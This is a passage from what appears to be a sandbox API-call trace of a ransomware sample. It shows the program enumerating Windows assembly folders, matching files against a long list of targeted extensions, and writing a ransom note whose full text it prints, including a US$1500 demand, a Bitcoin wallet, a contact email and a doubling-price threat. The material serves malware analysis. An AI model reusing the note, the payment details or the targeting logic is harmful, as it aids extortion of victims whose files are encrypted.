(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.accdb") returned 0 [0099.221] lstrlenA (lpString="*.accdb") returned 7 [0099.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.odb") returned 0 [0099.221] lstrlenA (lpString="*.odb") returned 5 [0099.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.java") returned 0 [0099.221] lstrlenA (lpString="*.java") returned 6 [0099.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.asm") returned 0 [0099.221] lstrlenA (lpString="*.asm") returned 5 [0099.221] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.pfx") returned 0 [0099.221] lstrlenA (lpString="*.pfx") returned 5 [0099.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.pem") returned 0 [0099.222] lstrlenA (lpString="*.pem") returned 5 [0099.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.p12") returned 0 [0099.222] lstrlenA (lpString="*.p12") returned 5 [0099.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.gpg") returned 0 [0099.222] lstrlenA (lpString="*.gpg") returned 5 [0099.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.vsd") returned 0 [0099.222] lstrlenA (lpString="*.vsd") returned 5 [0099.222] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.odg") returned 0 [0099.222] lstrlenA (lpString="*.odg") returned 5 [0099.228] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.raw") returned 0 [0099.228] lstrlenA (lpString="*.raw") returned 5 [0099.228] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.nef") returned 0 [0099.228] lstrlenA (lpString="*.nef") returned 5 [0099.228] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.svg") returned 0 [0099.228] lstrlenA (lpString="*.svg") returned 5 [0099.228] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.psd") returned 0 [0099.228] lstrlenA (lpString="*.psd") returned 5 [0099.228] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.vmx") returned 0 [0099.228] lstrlenA (lpString="*.vmx") returned 5 [0099.228] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.vmdk") returned 0 [0099.228] lstrlenA (lpString="*.vmdk") returned 6 [0099.228] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.vdi") returned 0 [0099.228] lstrlenA (lpString="*.vdi") returned 5 [0099.228] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.lay6") returned 0 [0099.228] lstrlenA (lpString="*.lay6") returned 6 [0099.228] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.mpeg") returned 0 [0099.228] lstrlenA (lpString="*.mpeg") returned 6 [0099.228] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.djvu") returned 0 [0099.229] lstrlenA (lpString="*.djvu") returned 6 [0099.229] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.tiff") returned 0 [0099.229] lstrlenA (lpString="*.tiff") returned 6 [0099.229] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.backup") returned 0 [0099.229] lstrlenA (lpString="*.backup") returned 8 [0099.229] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.pdf") returned 0 [0099.229] lstrlenA (lpString="*.pdf") returned 5 [0099.229] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.cert") returned 0 [0099.229] lstrlenA (lpString="*.cert") returned 6 [0099.229] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.docm") returned 0 [0099.229] lstrlenA (lpString="*.docm") returned 6 [0099.229] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.xlsm") returned 0 [0099.229] lstrlenA (lpString="*.xlsm") returned 6 [0099.229] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.dwg") returned 0 [0099.229] lstrlenA (lpString="*.dwg") returned 5 [0099.229] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.nd") returned 0 [0099.229] lstrlenA (lpString="*.nd") returned 4 [0099.229] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.tlg") returned 0 [0099.229] lstrlenA (lpString="*.tlg") returned 5 [0099.229] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.lgb") returned 0 [0099.229] lstrlenA (lpString="*.lgb") returned 5 [0099.230] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.mov") returned 0 [0099.230] lstrlenA (lpString="*.mov") returned 5 [0099.230] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.xdw") returned 0 [0099.230] lstrlenA (lpString="*.xdw") returned 5 [0099.230] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.ods") returned 0 [0099.230] lstrlenA (lpString="*.ods") returned 5 [0099.230] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.wav") returned 0 [0099.230] lstrlenA (lpString="*.wav") returned 5 [0099.230] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.mp3") returned 0 [0099.230] lstrlenA (lpString="*.mp3") returned 5 [0099.230] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.aiff") returned 0 [0099.230] lstrlenA (lpString="*.aiff") returned 6 [0099.230] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.flac") returned 0 [0099.230] lstrlenA (lpString="*.flac") returned 6 [0099.230] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.m4a") returned 0 [0099.230] lstrlenA (lpString="*.m4a") returned 5 [0099.230] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", pszSpec="*.csv") returned 0 [0099.230] lstrlenA (lpString="*.csv") returned 5 [0099.230] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd35cfb40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd35cfb40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd35cfb40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x12fb8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0099.230] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0099.230] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd35cfb40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd35cfb40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd35cfb40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="1000~1.0__")) returned 0 [0099.231] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0099.231] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5489340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5489340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5489340, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31762e72, dwReserved1=0x2e302e30, cFileName="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0", cAlternateFileName="MI5BBD~1.0")) returned 1 [0099.231] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0") returned -1 [0099.231] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0") returned -1 [0099.231] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0099.231] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0" [0099.231] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0") returned 82 [0099.231] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5489340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5489340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5489340, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0099.240] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0099.240] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5489340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5489340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5489340, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.240] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0099.240] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0099.240] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd60a8740, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd60a8740, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd60a8740, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="1000~1.0__")) returned 1 [0099.240] lstrcmpA (lpString1=".", lpString2="10.0.0.0__b03f5f7f11d50a3a") returned -1 [0099.240] lstrcmpA (lpString1="..", lpString2="10.0.0.0__b03f5f7f11d50a3a") returned -1 [0099.240] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\*.*") returned="*.*" [0099.240] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\", lpString2="10.0.0.0__b03f5f7f11d50a3a" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a" [0099.241] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a") returned 109 [0099.241] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd60a8740, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd60a8740, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd60a8740, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0099.241] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0099.241] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd60a8740, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd60a8740, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd60a8740, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.241] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0099.241] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0099.241] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd60a8740, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd60a8740, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd60a8740, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xf7b0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0099.241] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0099.242] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll") returned -1 [0099.242] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll") returned -1 [0099.242] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll") returned -1 [0099.242] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0099.242] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\" [0099.242] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\") returned="" [0099.242] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" [0099.242] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.hostadapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt")) returned 0xffffffff [0099.242] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.hostadapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0099.387] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0099.387] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0099.390] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0099.390] CloseHandle (hObject=0x90) returned 1 [0099.390] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\", lpString2="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll" [0099.390] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.ems") returned 0 [0099.390] lstrlenA (lpString="*.ems") returned 5 [0099.390] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", pszSpec="*.db") returned 0 [0099.390] lstrlenA (lpString="*.db") returned 4 [0099.390] PathMatchSpecA 